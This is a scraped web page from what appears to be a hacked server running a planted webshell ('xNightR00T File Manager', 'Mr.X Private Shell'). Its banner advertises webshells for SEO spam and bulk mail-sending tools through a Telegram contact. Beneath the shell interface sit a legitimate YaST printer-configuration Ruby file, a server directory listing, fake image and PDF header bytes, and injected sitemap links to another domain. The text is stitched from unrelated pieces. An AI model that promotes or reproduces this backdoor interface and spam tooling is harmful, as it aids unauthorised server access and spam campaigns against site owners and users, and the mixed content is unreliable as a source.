xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# ------------------------------------------------------------------------------
# Copyright (c) 2006 Novell, Inc. All Rights Reserved.
#
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of version 2 of the GNU General Public License as published by the
# Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with
# this program; if not, contact Novell, Inc.
#
# To contact Novell about this file by physical or electronic mail, you may find
# current contact information at www.novell.com.
# ------------------------------------------------------------------------------

# File:	clients/printer_proposal.ycp
# Package:	Configuration of printer
# Summary:	Proposal function dispatcher.
# Authors:	Johannes Meixner <jsmeix@suse.de>
#
# $Id: printer_proposal.ycp 27914 2006-02-13 14:32:08Z locilka $
#
# Proposal function dispatcher for printer configuration.
# See source/installation/proposal/proposal-API.txt
module Yast
  class PrinterProposalClient < Client
    def main

      textdomain "printer"

      Yast.import "Printer"
      Yast.import "Printerlib"
      Yast.import "Progress"
      Yast.import "String"
      Yast.import "Mode"
      Yast.import "Stage"
      Yast.import "Service"
      Yast.import "Popup"

      Builtins.y2milestone("----------------------------------------")
      Builtins.y2milestone("Printer proposal started")

      @ret = nil
      @func = ""
      @param = {}

      # Check arguments:
      if Ops.greater_than(Builtins.size(WFM.Args), 0) &&
          Ops.is_string?(WFM.Args(0))
        @func = Convert.to_string(WFM.Args(0))
        if Ops.greater_than(Builtins.size(WFM.Args), 1) &&
            Ops.is_map?(WFM.Args(1))
          @param = Convert.to_map(WFM.Args(1))
        end
      end
      Builtins.y2milestone("Printer proposal func='%1'", @func)
      Builtins.y2milestone("Printer proposal param='%1'", @param)


      # Create a textual proposal and write it instantly to the system:
      if @func == "MakeProposal"
        @proposal = []
        @warning = nil
        @warning_level = nil
        @force_reset = Ops.get_boolean(@param, "force_reset", false)
        if @force_reset
          # avoid that the hardware proposal asks the user
          # to install the packages cups-client and cups, see
          # https://bugzilla.novell.com/show_bug.cgi?id=445719#c13
          Builtins.y2milestone(
            "Not calling Printer::Read() to avoid that the proposal asks to install cups-client and cups."
          )
        end
        # Propose configuration for each local printer:
        # Check if the packages cups-client and cups are installed
        # and skip the automated queue setup if one of them is missing, see
        # https://bugzilla.novell.com/show_bug.cgi?id=445719#c13
        # If cups-client is missing, it would run into an endless sequence of errors.
        # If cups is missing, there can be no local running cupsd which is
        # mandatory to set up local print queues.
        if !Printerlib.TestAndInstallPackage("cups-client", "installed")
          Builtins.y2milestone(
            "Skipped automated queue setup because the package cups-client is not installed."
          )
          @proposal = [
            _(
              "Cannot configure printing (required package cups-client is not installed)."
            )
          ]
        else
          if !Printerlib.TestAndInstallPackage("cups", "installed")
            Builtins.y2milestone(
              "Skipped automated queue setup because the package cups is not installed."
            )
            @proposal = [
              _(
                "Cannot configure local printers (required package cups is not installed)."
              )
            ]
          else
            # (i.e. a ServerName != "localhost/127.0.0.1" in /etc/cups/client.conf)
            # and ignore when it fails (i.e. use the fallback value silently):
            Printerlib.DetermineClientOnly
            # Skip automated queue setup when it is a client-only config:
            if Printerlib.client_only
              Builtins.y2milestone(
                "Skipped automated queue setup because it is a client-only config."
              )
              @proposal = [
                Builtins.sformat(
                  _(
                    "No local printer accessible (using remote CUPS server '%1' for printing)."
                  ),
                  Printerlib.client_conf_server_name
                )
              ]
            else
              if !Printerlib.GetAndSetCupsdStatus("")
                # try to make silently sure that a local cupsd is running
                # (i.e. start the cupsd without user confirmation)
                # because it is needed for automated queue setup
                # see https://bugzilla.novell.com/show_bug.cgi?id=418585
                # Note that because of Mode::installation() this happens only
                # if we are doing a fresh installation (but e.g. not for an update)
                # and because of Stage::cont() we are continuing the installation
                # in the target system (but we are e.g. not in the inst-sys system)
                # so that it should be sufficiently safe to (re)-start and enable
                # the cupsd without user confirmation here:
                if Mode.installation && Stage.cont
                  Builtins.y2milestone(
                    "Silently start and enable the cupsd because we are continuing a fresh installation in the target system."
                  )
                  if Service.Status("cups") != 0
                    Service.Start("cups")
                  else
                    # but actually it is not accessible according to GetAndSetCupsdStatus.
                    # For example the cupsd may run but failed to bind to the IPP port 631
                    # because whatever other service grabbed this port for a short while
                    # so that a restart could help here (a known ypbind/portmapper issue):
                    Service.Restart("cups")
                  end
                  Service.Enable("cups")
                  # Wait until the cupsd is actually accessible.
                  # In particular for the very first start of the cupsd it may take several seconds
                  # (up to more than a minute on a slow machine) until it is actually accessible,
                  # compare https://bugzilla.novell.com/show_bug.cgi?id=429397
                  # Sleep one second in any case so that the new started cupsd can become ready to operate:
                  Builtins.sleep(1000)
                  if !Printerlib.GetAndSetCupsdStatus("")
                    # Sleep 9 seconds so that the new started cupsd has more time to become ready to operate:
                    Builtins.sleep(9000)
                  end
                  if !Printerlib.GetAndSetCupsdStatus("")
                    # Wait half a minute for a new started cupsd:
                    Popup.TimedMessage(
                      _(
                        "Started the CUPS daemon.\nWaiting half a minute for the CUPS daemon to get ready to operate...\n"
                      ),
                      30
                    )
                  end
                  if !Printerlib.GetAndSetCupsdStatus("")
                    # for the very first time (e.g. on a new installed system)
                    # until the cupsd is actually ready to operate.
                    # E.g. because parsing of thousands of PPDs may need much time.
                    # Therefore enforce waiting one minute now.
                    # (Plain busy message without title.)
                    Popup.ShowFeedback(
                      "",
                      _(
                        "The CUPS daemon is not yet accessible.\nWaiting one minute so that it is ready to operate..."
                      )
                    )
                    Builtins.sleep(60000)
                    Popup.ClearFeedback
                  end
                end
              end
              # Skip automated queue setup when the cupsd is not accessible up to now.
              # A special case is when the cupsd does not listen on the official IANA IPP port (631).
              # Then Printerlib::GetAndSetCupsdStatus("") returns false because it calls
              # "lpstat -h localhost -r" which fails ("-h localhost:port" would have to be used).
              # The YaST printer module does not support when the cupsd listens on a non-official port
              # so that also in this special case no automated queue setup is done.
              if !Printerlib.GetAndSetCupsdStatus("")
                Builtins.y2milestone(
                  "Skipped automated queue setup because there is no local cupsd accessible (via port 631)."
                )
                @proposal = [
                  _(
                    "Cannot configure local printers (no local cupsd accessible)."
                  )
                ]
              else
                @detected_printers = Builtins.filter(
                  Convert.convert(
                    Printer.ConnectionItems("BasicAddDialog"),
                    :from => "list",
                    :to   => "list <term>"
                  )
                ) do |row|
                  # with an empty URI (i.e. no need to test this here)
                  # but Printer::ConnectionItems adds trailing spaces
                  # because the current YaST UI has almost no additional
                  # space between table columns:
                  model = String.CutBlanks(Ops.get_string(row, 1, ""))
                  !Builtins.issubstring(Builtins.tolower(model), "unknown")
                end
                Builtins.y2milestone(
                  "Detected local printers: %1",
                  @detected_printers
                )
                if Ops.less_than(Builtins.size(@detected_printers), 1)
                  Builtins.y2milestone(
                    "Skipped automated queue setup because there is no local printer detected."
                  )
                  @proposal = [_("No local printer detected.")]
                else
                  Builtins.y2milestone(
                    "Local printers detected, will set up queues for them:"
                  )
                  @initially_existing_queues = []
                  @already_set_up_uris = []
                  # An empty list of autodetected queues is the fallback which is correct:
                  Printer.AutodetectQueues
                  Builtins.foreach(Printer.queues) do |queue|
                    if "" != Ops.get(queue, "name", "")
                      @initially_existing_queues = Builtins.add(
                        @initially_existing_queues,
                        Ops.get(queue, "name", "")
                      )
                    end
                    if "" != Ops.get(queue, "uri", "")
                      @already_set_up_uris = Builtins.add(
                        @already_set_up_uris,
                        Ops.get(queue, "uri", "")
                      )
                    end
                  end 

                  Builtins.foreach(@detected_printers) do |printer|
                    # has almost no additional space between table columns:
                    model = String.CutBlanks(Ops.get_string(printer, 1, ""))
                    if "" != model && "unknown" != Builtins.tolower(model)
                      uri = String.CutBlanks(Ops.get_string(printer, 2, ""))
                      if "" != uri
                        Builtins.y2internal(
                          "Setting up a queue for URI '%1'",
                          uri
                        )
                        # See basicadd.ycp how a queue_name_proposal is set there:
                        queue_name = Printer.NewQueueName(
                          Builtins.tolower(model)
                        )
                        if Builtins.contains(@already_set_up_uris, uri)
                          Builtins.y2internal(
                            "Skipping printer '%1' because a queue with the same URI already exists.",
                            printer
                          )
                          next
                        end
                        Builtins.y2milestone(
                          "Proposed queue name: %1",
                          queue_name
                        )
                        # See basicadd.ycp how driver_filter_input_text and driver_filter_string are set there.
                        # The same is done here so that the proposal results the same as if the user
                        # would have blindly clicked [OK] in the BasicAddDialog:
                        driver_filter_input_text = Printer.DeriveModelName(
                          model,
                          0
                        )
                        driver_filter_string = Printer.DeriveDriverFilterString(
                          driver_filter_input_text
                        )
                        if "" != driver_filter_string
                          drivers = Printer.DriverItems(
                            driver_filter_string,
                            true
                          )
                          # Printer::DriverItems may result a drivers list with one single element
                          #   [ `item( `id( -1 ), _("No matching driver found.") ) ]
                          # to show at least a meaningful text as fallback entry to the user
                          # or Printer::DriverItems may result a drivers list with the first item
                          #   [ `item( `id( -1 ), _("Select a driver.") ), ... ]
                          # when Printer::DriverItems could not preselect a driver item.
                          # In contrast if a valid driver was found and preselected, there would be
                          # a non-negative id value of the first element which is drivers[0,0,0]
                          # (id[0] is the value of the id, see the comment in Printer::DriverItems).
                          # Only a test if both selected_ppds_index and selected_connections_index
                          # are non-negative makes sure that there is a valid driver and a valid connection.
                          Builtins.y2internal("Available drivers: %1", drivers)
                          Printer.selected_ppds_index = Ops.get_integer(
                            drivers,
                            [0, 0, 0],
                            -1
                          )
                          Printer.selected_connections_index = Ops.get_integer(
                            printer,
                            [0, 0],
                            -1
                          )
                          if Ops.greater_or_equal(
                              Printer.selected_ppds_index,
                              0
                            ) &&
                              Ops.greater_or_equal(
                                Printer.selected_connections_index,
                                0
                              )
                            Builtins.y2internal(
                              "Selected driver: %1",
                              Ops.get(drivers, 0)
                            )
                            # An empty default_paper_size results CUPS's default paper size
                            # (see the Printer::AddQueue function) so that the proposal results the same
                            # as if the user would have blindly clicked [OK] in the BasicAddDialog.
                            # The BasicAddDialog does by default not set the default queue
                            # to avoid that a possibly existing default queue gets overwritten.
                            is_default_queue = false
                            default_paper_size = ""
                            if Printer.AddQueue(
                                queue_name,
                                is_default_queue,
                                default_paper_size
                              )
                              @already_set_up_uris = Builtins.add(
                                @already_set_up_uris,
                                uri
                              )
                              # Since CUPS 1.4 the new DirtyCleanInterval directive controls
                              # the delay when cupsd updates config files (see basicadd.ycp).
                              if !Printerlib.WaitForUpdatedConfigFiles(
                                  _("Creating New Printer Setup")
                                )
                                Popup.ErrorDetails(
                                  _(
                                    "New Printer Configuration not yet Stored in the System"
                                  ),
                                  # Explanation details of a Popup::ErrorDetails.
                                  _(
                                    "This may result broken printer configurations."
                                  )
                                )
                              end
                              # Autodetect queues again so that Printer::NewQueueName
                              # can compare with existing queue names but ignore whatever failures
                              # (an empty list of autodetected queues is the fallback result):
                              Printer.AutodetectQueues
                            end
                          else
                            Builtins.y2error(
                              "No available drivers for printer %1",
                              printer
                            )
                          end
                        end
                      end
                    end
                  end 

                  Builtins.foreach(
                    Convert.convert(
                      Printer.QueueItems(true, false),
                      :from => "list",
                      :to   => "list <term>"
                    )
                  ) do |queue|
                    # has almost no additional space between table columns:
                    name = String.CutBlanks(Ops.get_string(queue, 2, ""))
                    description = String.CutBlanks(Ops.get_string(queue, 3, ""))
                    configuration = name
                    if description != ""
                      configuration = Ops.add(
                        Ops.add(configuration, " : "),
                        description
                      )
                    end
                    if Builtins.contains(@initially_existing_queues, name)
                      @proposal = Builtins.add(
                        @proposal,
                        Ops.add(
                          _("Found existing configuration") + " : ",
                          configuration
                        )
                      )
                    else
                      @proposal = Builtins.add(
                        @proposal,
                        Ops.add(
                          _("Created configuration") + " : ",
                          configuration
                        )
                      )
                    end
                  end
                end
              end
            end
          end
        end
        @proposal = Builtins.filter(@proposal) { |p| p != "" }
        if Builtins.size(@proposal) == 0
          @proposal = [_("No local printer configured.")]
        end
        @ret = {
          "raw_proposal"  => @proposal,
          "warning_level" => @warning_level,
          "warning"       => @warning
        }
      # Run the full printer module dialogs:
      elsif @func == "AskUser"
        # to make sure that when the full printer module dialogs are launched
        # it asks the user to install the packages cups-client and cups:
        @progress_orig = Progress.set(false)
        Printer.Read
        Progress.set(@progress_orig)
        # In printer.ycp the .propose argument calls PrinterAutoSequence and
        # PrinterAutoSequence in wizards.ycp runs only the MainSequence
        # which are all the usual dialogs (starting with the "Overview")
        # but without running before ReadDialog (which calls only Printer::Read)
        # and running afterwards WriteDialog (which calls only Printer::Write)
        # which is the reason that Printer::Read is called explicitly above.
        @seq = Convert.to_symbol(
          WFM.CallFunction("printer", [path(".propose")])
        )
        Builtins.y2debug("seq=%1", @seq)
        @ret = { "workflow_sequence" => @seq }
      # Create titles:
      elsif @func == "Description"
        @ret = {
          "rich_text_title" => _("Printer"),
          # Menu title for Printer in proposals
          "menu_title"      => _(
            "&Printer"
          ),
          "id"              => "printer"
        } # Rich text title for Printer in proposals
      # Dummy function to write the proposal (it is already written in the "MakeProposal" function):
      elsif @func == "Write"
        # it does actually nothing except to exit verbosely, see
        # http://en.opensuse.org/Archive:YaST_Printer_redesign#Basic_Implementation_Principles:
        # for background information.
        Builtins.y2milestone(
          "No need to call Printer::Write() because it does nothing."
        )
      else
        Builtins.y2error("Unknown function: %1", @func)
      end

      Builtins.y2debug("ret=%1", @ret)
      Builtins.y2milestone("Printer proposal finished")
      Builtins.y2milestone("----------------------------------------")
      deep_copy(@ret) 

      # EOF
    end
  end
end

Yast::PrinterProposalClient.new.main

Filemanager

Name Type Size Permission Actions
OneClickInstallCLI.rb File 6.29 KB 0644
OneClickInstallUI.rb File 20.1 KB 0644
OneClickInstallUrlHandler.rb File 637 B 0644
OneClickInstallWorker.rb File 5.53 KB 0644
add-on.rb File 4.81 KB 0644
add-on_auto.rb File 10.01 KB 0644
add-on_proposal.rb File 2.42 KB 0644
add_inst_source_slptype.rb File 918 B 0644
audit-laf.rb File 11.39 KB 0644
audit-laf_auto.rb File 3.95 KB 0644
audit-laf_proposal.rb File 3.41 KB 0644
auth-client.rb File 1.07 KB 0644
auth-client_auto.rb File 1013 B 0644
auth-server.rb File 7.89 KB 0644
auth-server_auto.rb File 3.02 KB 0644
auth-server_proposal.rb File 12.25 KB 0644
auth.rb File 1.15 KB 0644
autoinst_scripts1_finish.rb File 1.55 KB 0644
autoinst_scripts2_finish.rb File 2.17 KB 0644
autoinst_test_clone.rb File 1017 B 0644
autoinst_test_stage.rb File 1.53 KB 0644
autoyast.rb File 4.09 KB 0644
ayast_probe.rb File 3.29 KB 0644
ayast_setup.rb File 4.76 KB 0644
backup_proposal.rb File 3.61 KB 0644
bootloader.rb File 1.13 KB 0644
bootloader_auto.rb File 63 B 0644
bootloader_finish.rb File 65 B 0644
bootloader_proposal.rb File 71 B 0644
ca-mgm.rb File 1.16 KB 0644
ca_mgm.rb File 7.43 KB 0644
ca_mgm_auto.rb File 37.21 KB 0644
ca_mgm_proposal.rb File 16.46 KB 0644
ca_select_proposal.rb File 18.54 KB 0644
cd_update.rb File 1.13 KB 0644
checkmedia.rb File 1.13 KB 0644
cio_ignore_finish.rb File 92 B 0644
cio_ignore_proposal.rb File 94 B 0644
classes_auto.rb File 2.07 KB 0644
clone_system.rb File 4.33 KB 0644
common-cert.rb File 1.18 KB 0644
common_cert.rb File 6.85 KB 0644
complete_workflow.rb File 1.38 KB 0644
copy_files_finish.rb File 86 B 0644
copy_logs_finish.rb File 76 B 0644
copy_systemfiles_finish.rb File 98 B 0644
country_simple_proposal.rb File 3.29 KB 0644
default_target_finish.rb File 1.16 KB 0644
default_target_proposal.rb File 8.72 KB 0644
deploy_image_auto.rb File 86 B 0644
deploying_proposal.rb File 89 B 0644
desktop_finish.rb File 81 B 0644
dhcp-server.rb File 1.14 KB 0644
dhcp-server_auto.rb File 4.68 KB 0644
discover_registration_services.rb File 1.03 KB 0644
disintegrate_all_extensions.rb File 106 B 0644
disk.rb File 2.91 KB 0644
disk_worker.rb File 4.06 KB 0644
dns-server.rb File 1.1 KB 0644
dns-server_auto.rb File 2.89 KB 0644
dns.rb File 8.35 KB 0644
dns_auto.rb File 3.37 KB 0644
do_not_show_again_editor.rb File 3.49 KB 0644
do_online_update_auto.rb File 3.27 KB 0644
driver_update1_finish.rb File 94 B 0644
driver_update2_finish.rb File 94 B 0644
files_auto.rb File 10.82 KB 0644
firewall.rb File 3.15 KB 0644
firewall_auto.rb File 4.15 KB 0644
firewall_proposal.rb File 9.86 KB 0644
firewall_stage1_finish.rb File 5.71 KB 0644
firewall_stage1_proposal.rb File 16.24 KB 0644
ftp-server.rb File 40.97 KB 0644
ftp-server_auto.rb File 3.56 KB 0644
general_auto.rb File 1.83 KB 0644
groups.rb File 9.29 KB 0644
host.rb File 3.32 KB 0644
host_auto.rb File 4.33 KB 0644
http-server.rb File 18.42 KB 0644
http-server_auto.rb File 3.1 KB 0644
inetd.rb File 13.52 KB 0644
inetd_auto.rb File 4.63 KB 0644
inetd_proposal.rb File 3.07 KB 0644
inst_add-on.rb File 5 KB 0644
inst_add-on_software.rb File 3.3 KB 0644
inst_addon_update_sources.rb File 101 B 0644
inst_ask_online_update.rb File 95 B 0644
inst_autoconfigure.rb File 19.7 KB 0644
inst_autoimage.rb File 1.85 KB 0644
inst_autoinit.rb File 6.47 KB 0644
inst_autopost.rb File 8.47 KB 0644
inst_autosetup.rb File 17.36 KB 0644
inst_autosetup_upgrade.rb File 17.05 KB 0644
inst_backup.rb File 7.77 KB 0644
inst_bootloader.rb File 1.18 KB 0644
inst_check_autoinst_mode.rb File 99 B 0644
inst_check_memsize.rb File 658 B 0644
inst_checkmedia.rb File 3.31 KB 0644
inst_complex_welcome.rb File 92 B 0644
inst_congratulate.rb File 87 B 0644
inst_custom_packages.rb File 2.91 KB 0644
inst_custom_part.rb File 1.17 KB 0644
inst_custom_patterns.rb File 94 B 0644
inst_deploy_image.rb File 86 B 0644
inst_desktop_roles.rb File 98 B 0644
inst_disk.rb File 2.55 KB 0644
inst_disk_for_image.rb File 89 B 0644
inst_disk_proposal.rb File 12.58 KB 0644
inst_disks_activate.rb File 90 B 0644
inst_do_net_test.rb File 28.83 KB 0644
inst_doit.rb File 71 B 0644
inst_download_release_notes.rb File 105 B 0644
inst_extrasources.rb File 87 B 0644
inst_features.rb File 79 B 0644
inst_finish.rb File 75 B 0644
inst_info.rb File 71 B 0644
inst_initialization.rb File 91 B 0644
inst_install_inf.rb File 85 B 0644
inst_installation_options.rb File 87 B 0644
inst_instsys_cleanup.rb File 99 B 0644
inst_iscsi-client.rb File 3.46 KB 0644
inst_keyboard_root_password.rb File 108 B 0644
inst_kickoff.rb File 19.83 KB 0644
inst_lan.rb File 2.24 KB 0644
inst_language.rb File 1.36 KB 0644
inst_language_add-on.rb File 12.54 KB 0644
inst_license.rb File 77 B 0644
inst_mediacopy.rb File 4.17 KB 0644
inst_network_check.rb File 88 B 0644
inst_pre_install.rb File 84 B 0644
inst_prepare_image.rb File 88 B 0644
inst_prepareprogress.rb File 93 B 0644
inst_prepdisk.rb File 5.8 KB 0644
inst_productsources.rb File 50.93 KB 0644
inst_proposal.rb File 1008 B 0644
inst_release_notes.rb File 88 B 0644
inst_resize_dialog.rb File 17.82 KB 0644
inst_resize_ui.rb File 30.46 KB 0644
inst_restore_settings.rb File 94 B 0644
inst_root_first.rb File 1007 B 0644
inst_rootpart.rb File 1.57 KB 0644
inst_rpmcopy.rb File 18.49 KB 0644
inst_rpmcopy_secondstage.rb File 100 B 0644
inst_save_hardware_status.rb File 101 B 0644
inst_scc.rb File 10.61 KB 0644
inst_scenarios.rb File 81 B 0644
inst_setup_dhcp.rb File 73 B 0644
inst_ssh_import.rb File 843 B 0644
inst_store_upgrade_software.rb File 3.98 KB 0644
inst_sw_select.rb File 1.77 KB 0644
inst_system_analysis.rb File 92 B 0644
inst_system_role.rb File 81 B 0644
inst_target_part.rb File 17.41 KB 0644
inst_target_selection.rb File 11.7 KB 0644
inst_test_workflow.rb File 949 B 0644
inst_timezone.rb File 2.36 KB 0644
inst_update.rb File 8.52 KB 0644
inst_update_installer.rb File 732 B 0644
inst_update_partition.rb File 1.86 KB 0644
inst_update_partition_auto.rb File 1.27 KB 0644
inst_upgrade_urls.rb File 86 B 0644
inst_user_first.rb File 1007 B 0644
inst_welcome.rb File 77 B 0644
inst_worker_continue.rb File 92 B 0644
inst_worker_initial.rb File 90 B 0644
inst_you.rb File 11.74 KB 0644
installation.rb File 78 B 0644
installation_settings_finish.rb File 108 B 0644
instserver.rb File 1.44 KB 0644
iscsi-client.rb File 3.1 KB 0644
iscsi-client_auto.rb File 4.1 KB 0644
iscsi-client_finish.rb File 3.46 KB 0644
iscsi-client_proposal.rb File 3.51 KB 0644
isns.rb File 2.13 KB 0644
isns_auto.rb File 2.96 KB 0644
isns_finish.rb File 1.9 KB 0644
isns_proposal.rb File 2.59 KB 0644
kdump.rb File 41.7 KB 0644
kdump_auto.rb File 2.66 KB 0644
kdump_finish.rb File 62 B 0644
kdump_proposal.rb File 3.11 KB 0644
kernel_finish.rb File 79 B 0644
key_manager.rb File 2.29 KB 0644
keyboard.rb File 5.48 KB 0644
keyboard_auto.rb File 3.16 KB 0644
keyboard_proposal.rb File 3 KB 0644
keyboard_simple_proposal.rb File 1.41 KB 0644
lan.rb File 6.23 KB 0644
lan_auto.rb File 12.98 KB 0644
language.rb File 9.12 KB 0644
language_auto.rb File 3.11 KB 0644
language_proposal.rb File 4.14 KB 0644
language_simple_proposal.rb File 1.6 KB 0644
ldap_browser.rb File 23.65 KB 0644
ldap_config.rb File 1.93 KB 0644
ldapkrb.rb File 1.1 KB 0644
ldconfig_finish.rb File 83 B 0644
mail.rb File 2.87 KB 0644
mail_auto.rb File 3.12 KB 0644
media_proposal.rb File 2.51 KB 0644
menu.rb File 12.75 KB 0644
migration.rb File 65 B 0644
migration_finish.rb File 732 B 0644
migration_proposal.rb File 715 B 0644
migration_proposals.rb File 1.19 KB 0644
migration_repos.rb File 730 B 0644
multipath-simple.rb File 1.21 KB 0644
network.rb File 4.3 KB 0644
network_finish.rb File 81 B 0644
network_proposal.rb File 69 B 0644
nfs-client.rb File 231 B 0644
nfs-client4part.rb File 2.63 KB 0644
nfs-server.rb File 277 B 0644
nfs.rb File 10.04 KB 0644
nfs_auto.rb File 2.54 KB 0644
nfs_server.rb File 9.59 KB 0644
nfs_server_auto.rb File 2.67 KB 0644
nis-client.rb File 1.16 KB 0644
nis-server.rb File 1.16 KB 0644
nis.rb File 7.99 KB 0644
nis_auto.rb File 3.05 KB 0644
nis_server.rb File 12.72 KB 0644
nis_server_auto.rb File 3.82 KB 0644
ntp-client.rb File 1.24 KB 0644
ntp-client_auto.rb File 3.92 KB 0644
ntp-client_finish.rb File 2.43 KB 0644
ntp-client_proposal.rb File 14.53 KB 0644
online_update.rb File 12.58 KB 0644
online_update_install.rb File 4.93 KB 0644
online_update_select.rb File 12.06 KB 0644
openldap-mirrormode.rb File 1.57 KB 0644
other_tools_warning.rb File 1.85 KB 0644
packages_proposal.rb File 7.64 KB 0644
partitions_proposal.rb File 8.99 KB 0644
pkg_finish.rb File 216 B 0644
pre_umount_finish.rb File 86 B 0644
prep_shrink_finish.rb File 94 B 0644
printer.rb File 3.03 KB 0644
printer_auto.rb File 17.76 KB 0644
printer_proposal.rb File 21.77 KB 0644
proxy.rb File 66 B 0644
proxy_auto.rb File 75 B 0644
proxy_finish.rb File 77 B 0644
registration.rb File 3.04 KB 0644
registration_sync.rb File 734 B 0644
relocation-server.rb File 3.45 KB 0644
remote.rb File 4.51 KB 0644
remote_finish.rb File 900 B 0644
remote_proposal.rb File 3.01 KB 0644
report_auto.rb File 7.94 KB 0644
repositories.rb File 308 B 0644
roles_finish.rb File 86 B 0644
rootpart_check_keyboard.rb File 1.63 KB 0644
rootpart_proposal.rb File 4.83 KB 0644
routing.rb File 12.82 KB 0644
routing_auto.rb File 3.39 KB 0644
samba-client.rb File 9.59 KB 0644
samba-client_auto.rb File 4.02 KB 0644
save_config_finish.rb File 88 B 0644
save_hw_status_finish.rb File 93 B 0644
save_network.rb File 9.33 KB 0644
scc.rb File 3.04 KB 0644
scc_auto.rb File 10.93 KB 0644
scc_finish.rb File 92 B 0644
scripts_auto.rb File 1.87 KB 0644
security.rb File 8.23 KB 0644
security_auto.rb File 4.25 KB 0644
security_summary.rb File 1.76 KB 0644
select_language.rb File 22.52 KB 0644
select_slp_source.rb File 432 B 0644
services-manager.rb File 7.25 KB 0644
services-manager_auto.rb File 1.13 KB 0644
services-manager_finish.rb File 117 B 0644
services.rb File 7.25 KB 0644
services_finish.rb File 92 B 0644
services_proposal.rb File 10.74 KB 0644
snapper.rb File 1.86 KB 0644
snapshots_finish.rb File 77 B 0644
software_auto.rb File 8.08 KB 0644
software_proposal.rb File 82 B 0644
software_simple_proposal.rb File 2.06 KB 0644
squid.rb File 3.86 KB 0644
squid_auto.rb File 3.89 KB 0644
ssh_import_auto.rb File 88 B 0644
ssh_import_proposal.rb File 85 B 0644
ssh_settings_finish.rb File 90 B 0644
storage.rb File 949 B 0644
storage_auto.rb File 2.49 KB 0644
storage_finish.rb File 3.04 KB 0644
stroj-casu.rb File 73 B 0644
sudo.rb File 2.6 KB 0644
support.rb File 3.12 KB 0644
support_auto.rb File 3.94 KB 0644
support_proposal.rb File 3.43 KB 0644
sw_single.rb File 26.4 KB 0644
switch_scr_finish.rb File 86 B 0644
sysconfig.rb File 4.36 KB 0644
sysconfig_auto.rb File 2.19 KB 0644
test_inst_client.rb File 84 B 0644
test_proposal.rb File 79 B 0644
tftp-server.rb File 4.33 KB 0644
tftp-server_auto.rb File 2.82 KB 0644
timezone.rb File 6.64 KB 0644
timezone_auto.rb File 2.82 KB 0644
timezone_proposal.rb File 2.67 KB 0644
umount_finish.rb File 79 B 0644
update_proposal.rb File 18.74 KB 0644
update_wizard_steps.rb File 90 B 0644
users.rb File 10.97 KB 0644
users_auto.rb File 5.54 KB 0644
users_encryption_method.rb File 1012 B 0644
users_encryption_proposal.rb File 819 B 0644
users_finish.rb File 1.2 KB 0644
users_plugin_ldap_all.rb File 11.17 KB 0644
users_plugin_ldap_passwordpolicy.rb File 7.03 KB 0644
users_plugin_ldap_shadowaccount.rb File 10.53 KB 0644
users_plugin_quota.rb File 18.49 KB 0644
users_proposal.rb File 1.08 KB 0644
vendor.rb File 10.32 KB 0644
view_anymsg.rb File 8.08 KB 0644
virtualization.rb File 3.02 KB 0644
vm_finish.rb File 4.69 KB 0644
vpn.rb File 1008 B 0644
vpn_auto.rb File 950 B 0644
wol.rb File 6.59 KB 0644
wrapper_slideshow_callbacks.rb File 1.27 KB 0644
wrapper_storage.rb File 1.96 KB 0644
x11_finish.rb File 73 B 0644
xinetd.rb File 1.15 KB 0644
yast_inf_finish.rb File 82 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml